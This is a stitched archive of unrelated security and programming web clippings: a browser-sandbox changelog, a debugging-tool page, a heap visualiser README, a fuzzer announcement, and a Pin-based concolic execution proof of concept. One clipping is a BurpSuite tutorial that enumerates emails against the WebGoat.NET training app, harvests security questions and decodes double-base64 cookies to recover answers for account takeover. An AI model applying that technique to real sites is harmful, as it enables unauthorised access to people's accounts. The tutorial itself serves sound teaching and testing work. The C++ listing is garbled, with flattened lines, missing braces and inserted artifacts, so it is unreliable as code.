[/code]

Looking for older stuff? See the historical page.

Release information / Changelog

New features in the 0.6.2 release

  * First release signed with ROMAB software signing GPG key
  * Fixed some log in vain issues
  * hopefully fixed an issue with /var/folders

New features in the 0.6.1 release

  * it works.

New features in the 0.6 release

changes from 0.6

  * Policy is cleaned up. \( 172 policy lines from 214\)
  * Netstat is allowed execution from policy. Likely a bug in NSS. See https://bugzilla.mozilla.org/show\_bug.cgi?id=444359, http://mxr.mozilla.org/security/source/security/nss/lib/freebl/unix\_rand.c\#981
  * Color profiles are now allowed. btw - thnx to impact.
  * Log messages for file-read-metadata have been silenced
  * License header now in place for all files. \(Two clause BSD, yayh\! \)
  * Improved documentation

New features in the 0.5 release

-IronFox support for kerberos/spnego   
-IronFox support for the propriatry 1passwd plugin   
-No more double icons \(ie, no longer both ff and ironfox\)   
-IronFox now shutsdown when ff-ironfox is shutdown   
-The new release will clean up in the /var/folder directory after it has started 

# Holmes - Microsoft Research

**Created:**| _12/7/2012 1:15:48 PM_  
---|---  
**Updated:**| _12/7/2012 1:15:48 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification Debugging research statistics
modeling_  
  
  

Holmes: Automated Statistical Debugging for .NET

Holmes is a statistical tool that automatically finds the most likely cause of
test failures. Holmes collects and analyzes fine-grained path coverage data
and identified code paths that strongly correlate with failure. Holmes
integrates right into Visual Studio code editor and supports analysis of both
automated units tests and manual tests \(run through Visual Studio Test
Elements\).

<img src='img/Temp2_3960.png' width='524' height='257' />

Publications

  * Trishul Chilimbi, Ben Liblit, Krishna Mehra, Aditya V. Nori, and Kapil Vaswani, Holmes: Effective Statistical Debugging via Efficient Path Profiling, in _Proceedings of the International Conference on Software Engineering \(ICSE\)_ , Association for Computing Machinery, Inc., May 2009
  * Trishul Chilimbi, Ben Liblit, Krishna Mehra, Aditya Nori, and Kapil Vaswani, Holmes: Effective Statistical Debugging via Efficient Path Profiling, no. MSR-TR-2008-131, August 2008
  * Kapil Vaswani, Aditya Nori, and Trishul Chilimbi, Preferential Path Profiling: Compactly Numbering Interesting Paths, in _Proceedings of the Symposium on Principles of Programming Languages \(POPL\)_, January 2007

People

<img src='img/Temp2_3958.png' width='72' height='72' alt='Kapil Vaswani' />

Kapil Vaswani

  

<img src='img/Temp2_3959.png' width='72' height='72' alt='Sandeep Karanth' />

Sandeep Karanth

  

<img src='img/Temp2_3963.png' width='72' height='72' alt='Aditya Nori' />

Aditya Nori

  

<img src='img/Temp2_3961.png' width='72' height='72' alt='Trishul Chilimbi' />

Trishul Chilimbi

  

<img src='img/Temp2_3962.png' width='72' height='72' alt='Ben Liblit' />

Holmes is a collaborative effort with Ben Liblit from University of Wisconsin.

  

# timkay/aws - GitHub

**Created:**| _10/14/2011 10:46:21 AM_  
---|---  
**Updated:**| _10/14/2011 10:46:21 AM_  
**Author:**| __  
**Tags:**| _cloud computing programming client-side_  
  

Easy command line access to Amazon EC2, S3, SQS, ELB, and SDB \(new\!\) — Read
more

timkay.com/aws/

# nVisium: Intro to BurpSuite V: Extracting Intrusions

**Created:**| _8/18/2014 10:06:43 AM_  
---|---  
**Updated:**| _8/18/2014 10:06:43 AM_  
**Author:**| __  
**Tags:**| _web-app-sec security tools_  
  

# Intro to BurpSuite V: Extracting Intrusions

Hi, Folks,  
  
Since the last post on Intruder, I've been seeing questions come up on how to
pull out data from a large number of results. I wanted to take some time to
throw a quick post on how you can leverage some of the more advanced options
in Intruder to automatically pull some information out. One of the suggestions
that comes straight from PortSwigger is to use the Grep Extract option to pull
data from responses.  
  
Today, I'm going to demonstrate this functionality using WebGOAT.NET, a
project that's freely available on OWASP and Github so you can follow along.  
  
Firstly, we're picking up on the Intro to BurpSuite IV post on Intruder so
have a refresher of that here.

####  The GOAT

Now to get started, we're going to use the Forgot Password function over in
the Customer section.

<img src='img/Temp2_10478.png' />

We see that to access this function we simply enter a valid email address into
the form field and then it presents us with the Forgot Password question.

<img src='img/Temp2_10484.png' />

So let's assume for a moment that we have a large number of target email
addresses. This isn't all that outside the realm of possibility with large
harvesting sites available like LinkedIn where user email addresses are often
shared with the public. If this were a legitimate company pentest, you would
easily be able to enumerate through a large number of addresses by guessing or
looking up public profiles.

Let's take a look at Intruder and see how we might be able to automate the
enumeration of these questions so we can start guessing the answers.

####  Setup

We set up Intruder as normal by capturing the request and defining the payload
position \(as mentioned in the previous Intruder article\). In this case, we
are attacking the email parameter.

<img src='img/Temp2_10486.png' />

Now we head over to the Payloads tab and add our simple list of email
addresses. In this case, and in the interest of clarity, I've included two
\(2\) known good emails and two \(2\) known bad emails.

<img src='img/Temp2_10476.png' />

Next, we're headed over to the Options tab to take advantage of Grep Extract.
First, make sure you select the checkbox that says "Extract the following
items from responses:".

Then click the "Add" button.

<img src='img/Temp2_10482.png' />

Once you click "Add", you're presented with a screen that allows you to use
Regex or a simplified version where you specify a beginning string and a
delimiter. We know from what we saw in the response that the site says, "Here
is the question we have on file for you:" and then provides a question. We can
use this tool to pull out information immediately following this statement.

<img src='img/Temp2_10487.png' />

We use "file for you: " \(including the colon\) to begin the analysis of the
data, and we use the question mark as the ending delimiter because we know
that every question the site generates will be presented with that symbol.
Once we click "OK", BurpSuite will process this in the results.

####  The Attack

So head up to the main Intruder file menu at the top of BurpSuite and start
the attack.

Now we are presented with a Results window, and look\! There are our
questions.

<img src='img/Temp2_10485.png' />

Now you can start guessing the questions and get some passwords.

####  But Wait... There's More\!

But wait a second, if we double-click on results, we can examine individual
responses. If you look closely, you may notice that the server is setting a
cookie for each valid response and is NOT setting a cookie for each invalid
response. I wonder if we can use this.

<img src='img/Temp2_10481.png' />

Let's go ahead and repeat our process by adding this extraction alongside the
question. Instead of using the question as the start and the question mark as
the delimiter, we're going to use "encr\_sec\_qu\_ans=" as the start and ";"
as the delimiter. This should extract the value of this cookie with each
response.

<img src='img/Temp2_10480.png' />

With that added, let's launch the attack again.

<img src='img/Temp2_10479.png' />

Nice, it looks like we may have gotten the answers, but they look pretty
random. Let's put one of these in Decoder to see if it's encoded in some way.
Usually in this case I would guess HTML or Base64, but since I don't recognize
any HTML encoding, let's go with the latter.

<img src='img/Temp2_10483.png' />

####  Decoding our Results

Using Decoder is as simple as copying a value and selecting an appropriate
encoding mechanism from the drop-down; in this case, we chose Base64. Now,
decoding it seems to have given us another mangled value so at first glance we
may be tempted to throw this away. However, it does seem like valid encoding
since we notice that "==" at the end there. Let's try again; maybe they're
double encoding the value.

<img src='img/Temp2_10477.png' />

Nice\! It looks like they were. Now, if we had valid email addresses for this
site, we could log in as anyone at this point. I hope this helped you
understand a little bit more about Intruder. Until next time - send me a
question or two about what you'd like to see next in the series. We'll be
getting into some more advanced topics soon.

For more information on using Burp's Grep Extract functionality, check out
John Poulin's great post on using Recursive Grep to Test CSRF Protected
Applications.

_Ken is a Senior Security Consultant at nVisium. He works hard to defend our
clients' web applications and provide real solutions to their security
concerns. Ken loves his technology and can always be found researching new
languages, gadgets, applications, and hardware. Ken began his career in
software product management, but quickly realized he'd rather be down in the
weeds. Armed with the project management mindset, he dove head first into
networking and development, and came out with a passion for security._

_Ken is creative at heart and has an innate desire to provide an environment
where clients are excited to learn about and implement good, proactive, and
efficient security practices that compliment an organization rather than hold
it back. Ken has worked in the IT industry for 7 years for companies such as
HyperOffice, LivingSocial, Citrix and even the US ARMY which has enabled him
to gain experience in all walks of business from a humble startup to a fully
fledged enterprise, and he loves every waking second of what he does._

# wapiflapi/villoc

**Created:**| _5/10/2019 8:35:52 AM_  
---|---  
**Updated:**| _5/10/2019 8:35:52 AM_  
**Author:**| __  
**Tags:**| _binary instrumentation Heap_  
  

  

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='72'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='758' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Villoc

Villoc is a heap visualisation tool, it's a python script that renders a
static html file. An example can be seen here:
http://wapiflapi.github.io/villoc/, this is villoc running on an exploit of
PlaidCTF 2015's challenge PlaidDB.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='73'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='761' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />How
to

The easiest way to use villoc is probably to run the following command and
open out.html in a browser.

[code]

    ltrace ./target |& villoc.py - out.html;
[/code]

It is probably a good idea to disable ASLR for repeatable results and to use a
file to pass the ltrace to villoc because otherwise the target's error output
will be interleaved and might confuse villoc sometimes.

[code]

    setarch x86_64 -R ltrace -o trace ./target; villoc.py trace out.html;
[/code]

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='74'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='767' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Using
DynamoRIO

The problem with ltrace is that it doesn't track calls to malloc from other
libraries or from within libc itself.

Please check https://github.com/wapiflapi/villoc/tree/master/tracers/dynamorio
for \(easy\!\) instructions for using a DynamoRIO tool to achieve full
tracing.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='75'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='771' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Annotations

Villoc's input should look like ltrace's output, other tracers should output
compatible logs. Villoc also listens to annotations of the following form:

[code]

    @villoc(comma separated annotations) = <void>`
    
[/code]

When using this it's possible to mark certain block as being significant which
makes analyzing villoc's output that much easier.

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='76'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='775' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Annotations from C code through DynamoRIO.

When using the dynamorio tracer there is a hack to easily inject annotations
from a target's source code:

[code]

    sscanf("Format string %d %d, FOO %s", "@villoc", 1, 2, "BAR");
[/code]

Will inject `Format string 1 2` into villoc's log and add the `FOO` and `BAR`
tags to the block affected by the next memory operation.

<img
src='img/68747470733a2f2f7062732e7477696d672e636f6d2f6d656469612f44786e556e527a57774155346b63443f666f726d61743d6a7067266e616d653d6c61726765'
width='882' height='647' />

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='77'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='781' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Which
malloc

This has been made with glibc's dl\_malloc in mind. But it should work for
other implementations, especially if you play with the `--header` and
`--footer` options to indicate how much overhead the targeted malloc adds to
the user data.

# fm-fsf – Freakin’ Simple Fuzzer – Cross Platform Fuzzing Tool | Darknet – The Darkside
**Created:**| _6/18/2009 10:46:50 PM_  
---|---  
**Updated:**| _6/18/2009 10:46:57 PM_  
**Author:**| __  
**Tags:**| _bookmark Fuzzer_  
  

fm-fsf – Freakin’ Simple Fuzzer – Cross Platform Fuzzing Tool

Darknet spilled these bits on June 17th 2009 @ 9:39 am

fm-fsf is a new fuzzer/data scraper that works under OSX, Linux \(with Mono\)
and Windows \(.NET Framework\). Fuzzing tools are always useful if you are
looking at discovering some new flaws in a software or web service.

**Quick Info**

FSF is a plug-in based freakin’ simple fuzzer for fuzzing web applications and
scraping data.

It supports some basic stuff and is missing some features however it has got
some advanced RegEx capturing features for scraping data out of web
applications.

It’s still in early stage of development so don’t expect too much.

**Why bring yet another fuzzer into this cruel world?**

The author was trying to fuzz something and after spending about 2-3 hours
about 3-4 different terribly designed fuzzers he thought knocking up his own
would be better.

**Don’t use if you….**

  * Want a fuzzer where you can control the raw HTTP request
  * Need some crazy features such as fuzzing multiple locations at a time

**Use if you need a fuzzer…**

  * That allows to take advantage of RegEx with the full power for scraping data \(this is quite useful while exploiting SQL Injections, gathering data, looking for some hidden resource or trying to enumerate all valid “user id”s\)
  * Simple to run and easy to use
  * Which makes it easy to write your own fuzzing modules
  * With simple and compact .NET code

You can download fm-fsf here:

FSF-7.1.0.0.tar.gz

# stuffz/PoC-Concolic-Execution-with-Pin-and-z3.cpp at master ·
JonathanSalwan/stuffz

**Created:**| _9/27/2013 10:57:26 AM_  
---|---  
**Updated:**| _9/27/2013 10:57:26 AM_  
**Author:**| __  
**Tags:**| _bookmark awesome symbolic exec concurrency_  
  

# **s** tuffz/PoC-Concolic-Execution-with-Pin-and-z3.cpp at master ·
JonathanSalwan/stuffz****

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 | 
[/code]

[code]

// BEGIN\_LEGAL // Intel Open Source License // Copyright \(c\) 2002-2013 Intel Corporation**.** All rights reserved**.** // Redistribution and use in source and binary forms, with or without// modification, are permitted provided that the following conditions are// met:// Redistributions of source code must retain the above copyright notice,// this list of conditions and the following disclaimer**.** Redistributions// in binary form must reproduce the above copyright notice, this list of// conditions and the following disclaimer in the documentation and/or// other materials provided with the distribution**.** Neither the name of// the Intel Corporation nor the names of its contributors may be used to// endorse or promote products derived from this software without// specific prior written permission**.** // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS// \`\`AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR// A PARTICULAR PURPOSE ARE DISCLAIMED**.** IN NO EVENT SHALL THE INTEL OR// ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES \(INCLUDING, BUT NOT// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,// DATA, OR PROFITS; OR BUSINESS INTERRUPTION\) HOWEVER CAUSED AND ON ANY// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT// \(INCLUDING NEGLIGENCE OR OTHERWISE\) ARISING IN ANY WAY OUT OF THE USE// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE**.** // END\_LEGAL// ------------------------------------------------------------------------// Jonathan Salwan - 2013-08-28// http://shell-storm.org// http://twitter.com/JonathanSalwan// Note: PoC -- Binary analysis: Concolic execution with Pin and z3// Based on my blog post, this Pin tool is not reliable and it works only with the // post blog examples..**.** I only implemented the instruction necessary for my examples // \(mov, cmp, xor\)**.** So, if you want use it, you need to implement all the x86 // instructions..**.** This Pin tool is just a PoC but it can give you a base to your // project**.** // Please read: http://shell-storm.org/blog/Binary-analysis-Concolic-execution-with-Pin-and-z3/\#include "pin**.** H"\#include "z3++.h"\#include <asm/unistd**.** h>\#include <cstring>\#include <fstream>\#include <iomanip>\#include <iostream>\#include <list>\#include <sstream>\#include <sys/types**.** h>\#include <sys/stat.h>\#include <fcntl.h>std::list<UINT64> addressTainted;std::list<REG> regsTainted;KNOB<std::string> KnobTaintFile\(KNOB\_MODE\_WRITEONCE, "pintool", "taint-file", "none", "Taint file name"\);static UINT64 targetedFd;static UINT64 flag;static UINT64 uniqueID;std::list< std::pair<UINT64, std::string> > constraintList;z3::context \*z3Context;z3::expr \*z3Var;z3::solver \*z3Solver;z3::expr \*z3Equation;z3::model \*z3Model;static char goodSerial\[32\] = \{0\};static unsigned int offsetSerial;\#define ID\_RAX 0\#define ID\_RBX 1\#define ID\_RCX 2\#define ID\_RDX 3\#define ID\_RDI 4\#define ID\_RSI 5static UINT64 regID\[\] = \{ -1, /\* ID\_RAX \*/ -1, /\* ID\_RBX \*/ -1, /\* ID\_RCX \*/ -1, /\* ID\_RDX \*/ -1, /\* ID\_RDI \*/ -1 /\* ID\_RSI \*/INT32 Usage\(\) cerr << "Concolic execution" << endl; return -1;bool checkAlreadyRegTainted\(REG reg\) list<REG>::iterator i; for\(i = regsTainted.begin\(\); i **\!** = regsTainted.end\(\); i++\)\{ if \(\*i == reg\)\{ return true; return false;VOID removeMemTainted\(UINT64 addr\) addressTainted.remove\(addr\); std::cout << std::hex << "\t\t\t" << addr << " is now freed" << std::endl;VOID addMemTainted\(UINT64 addr\) addressTainted.push\_back\(addr\); std::cout << std::hex << "\t\t\t" << addr << " is now tainted" << std::endl;bool taintReg\(REG reg\) if \(checkAlreadyRegTainted\(reg\) == true\)\{ std::cout << "\t\t\t" << REG\_StringShort\(reg\) << " is already tainted" << std::endl; return false; switch\(reg\)\{ case REG\_RAX: regsTainted.push\_front\(REG\_RAX\); case REG\_EAX: regsTainted.push\_front\(REG\_EAX\);  case REG\_AX: regsTainted.push\_front\(REG\_AX\);  case REG\_AH: regsTainted.push\_front\(REG\_AH\);  case REG\_AL: regsTainted.push\_front\(REG\_AL\);  break; case REG\_RBX: regsTainted.push\_front\(REG\_RBX\); case REG\_EBX: regsTainted.push\_front\(REG\_EBX\); case REG\_BX: regsTainted.push\_front\(REG\_BX\); case REG\_BH: regsTainted.push\_front\(REG\_BH\); case REG\_BL: regsTainted.push\_front\(REG\_BL\); break; case REG\_RCX: regsTainted.push\_front\(REG\_RCX\);  case REG\_ECX: regsTainted.push\_front\(REG\_ECX\); case REG\_CX: regsTainted.push\_front\(REG\_CX\); case REG\_CH: regsTainted.push\_front\(REG\_CH\); case REG\_CL: regsTainted.push\_front\(REG\_CL\); break; case REG\_RDX: regsTainted.push\_front\(REG\_RDX\);  case REG\_EDX: regsTainted.push\_front\(REG\_EDX\);  case REG\_DX: regsTainted.push\_front\(REG\_DX\);  case REG\_DH: regsTainted.push\_front\(REG\_DH\);  case REG\_DL: regsTainted.push\_front\(REG\_DL\);  break; case REG\_RDI: regsTainted.push\_front\(REG\_RDI\);  case REG\_EDI: regsTainted.push\_front\(REG\_EDI\);  case REG\_DI: regsTainted.push\_front\(REG\_DI\);  case REG\_DIL: regsTainted.push\_front\(REG\_DIL\);  break; case REG\_RSI: regsTainted.push\_front\(REG\_RSI\);  case REG\_ESI: regsTainted.push\_front\(REG\_ESI\);  case REG\_SI: regsTainted.push\_front\(REG\_SI\);  case REG\_SIL: regsTainted.push\_front\(REG\_SIL\);  break; default: std::cout << "\t\t\t" << REG\_StringShort\(reg\) << " can't be tainted" << std::endl; return false; std::cout << "\t\t\t" << REG\_StringShort\(reg\) << " is now tainted" << std::endl; return true;bool removeRegTainted\(REG reg\) switch\(reg\)\{ case REG\_RAX: regsTainted.remove\(REG\_RAX\); case REG\_EAX: regsTainted.remove\(REG\_EAX\); case REG\_AX: regsTainted.remove\(REG\_AX\); case REG\_AH: regsTainted.remove\(REG\_AH\); case REG\_AL: regsTainted.remove\(REG\_AL\); break; case REG\_RBX: regsTainted.remove\(REG\_RBX\); case REG\_EBX: regsTainted.remove\(REG\_EBX\); case REG\_BX: regsTainted.remove\(REG\_BX\); case REG\_BH: regsTainted.remove\(REG\_BH\); case REG\_BL: regsTainted.remove\(REG\_BL\); break; case REG\_RCX: regsTainted.remove\(REG\_RCX\);  case REG\_ECX: regsTainted.remove\(REG\_ECX\); case REG\_CX: regsTainted.remove\(REG\_CX\); case REG\_CH: regsTainted.remove\(REG\_CH\); case REG\_CL: regsTainted.remove\(REG\_CL\); break; case REG\_RDX: regsTainted.remove\(REG\_RDX\);  case REG\_EDX: regsTainted.remove\(REG\_EDX\);  case REG\_DX: regsTainted.remove\(REG\_DX\);  case REG\_DH: regsTainted.remove\(REG\_DH\);  case REG\_DL: regsTainted.remove\(REG\_DL\);  break; case REG\_RDI: regsTainted.remove\(REG\_RDI\);  case REG\_EDI: regsTainted.remove\(REG\_EDI\);  case REG\_DI: regsTainted.remove\(REG\_DI\);  case REG\_DIL: regsTainted.remove\(REG\_DIL\);  break; case REG\_RSI: regsTainted.remove\(REG\_RSI\);  case REG\_ESI: regsTainted.remove\(REG\_ESI\);  case REG\_SI: regsTainted.remove\(REG\_SI\);  case REG\_SIL: regsTainted.remove\(REG\_SIL\);  break; default: return false; std::cout << "\t\t\t" << REG\_StringShort\(reg\) << " is now freed" << std::endl; return true;UINT64 getRegID\(REG reg\) switch\(reg\)\{ case REG\_RAX:  case REG\_EAX:  case REG\_AX:  case REG\_AH:  case REG\_AL:  return regID\[ID\_RAX\];  case REG\_RBX:  case REG\_EBX:  case REG\_BX:  case REG\_BH:  case REG\_BL:  return regID\[ID\_RBX\];  case REG\_RCX:  case REG\_ECX:  case REG\_CX:  case REG\_CH:  case REG\_CL:  return regID\[ID\_RCX\];  case REG\_RDX:  case REG\_EDX:  case REG\_DX:  case REG\_DH:  case REG\_DL:  return regID\[ID\_RDX\];  case REG\_RDI:  case REG\_EDI:  case REG\_DI:  case REG\_DIL:  return regID\[ID\_RDI\];  case REG\_RSI:  case REG\_ESI:  case REG\_SI:  case REG\_SIL:  return regID\[ID\_RSI\];  default: return -1;VOID setRegID\(REG reg, UINT64 id\) switch\(reg\)\{ case REG\_RAX:  case REG\_EAX:  case REG\_AX:  case REG\_AH:  case REG\_AL:  regID\[ID\_RAX\] = id;  break; case REG\_RBX:  case REG\_EBX:  case REG\_BX:  case REG\_BH:  case REG\_BL:  regID\[ID\_RBX\] = id;  break; case REG\_RCX:  case REG\_ECX:  case REG\_CX:  case REG\_CH:  case REG\_CL:  regID\[ID\_RCX\] = id;  break; case REG\_RDX:  case REG\_EDX:  case REG\_DX:  case REG\_DH:  case REG\_DL:  regID\[ID\_RDX\] = id;  break; case REG\_RDI:  case REG\_EDI:  case REG\_DI:  case REG\_DIL:  regID\[ID\_RDI\] = id;  break; case REG\_RSI:  case REG\_ESI:  case REG\_SI:  case REG\_SIL:  regID\[ID\_RSI\] = id;  break; default: break;REG getHighReg\(REG reg\) switch\(reg\)\{ case REG\_RAX:  case REG\_EAX:  case REG\_AX:  case REG\_AH:  case REG\_AL:  return REG\_RAX; case REG\_RBX:  case REG\_EBX:  case REG\_BX:  case REG\_BH:  case REG\_BL:  return REG\_RBX; case REG\_RCX:  case REG\_ECX:  case REG\_CX:  case REG\_CH:  case REG\_CL:  return REG\_RCX; case REG\_RDX:  case REG\_EDX:  case REG\_DX:  case REG\_DH:  case REG\_DL:  return REG\_RDX; case REG\_RDI:  case REG\_EDI:  case REG\_DI:  case REG\_DIL:  return REG\_RDI; case REG\_RSI:  case REG\_ESI:  case REG\_SI:  case REG\_SIL:  return REG\_RSI; default: return REG\_AL; /\* hack exception \*/VOID ReadMem\(UINT64 insAddr, std::string insDis, UINT32 opCount, REG reg\_r, UINT64 memOp\) list<UINT64>::iterator i; UINT64 addr = memOp; std::stringstream stream; if \(opCount **\!** = 2\) return; for\(i = addressTainted.begin\(\); i **\!** = addressTainted.end\(\); 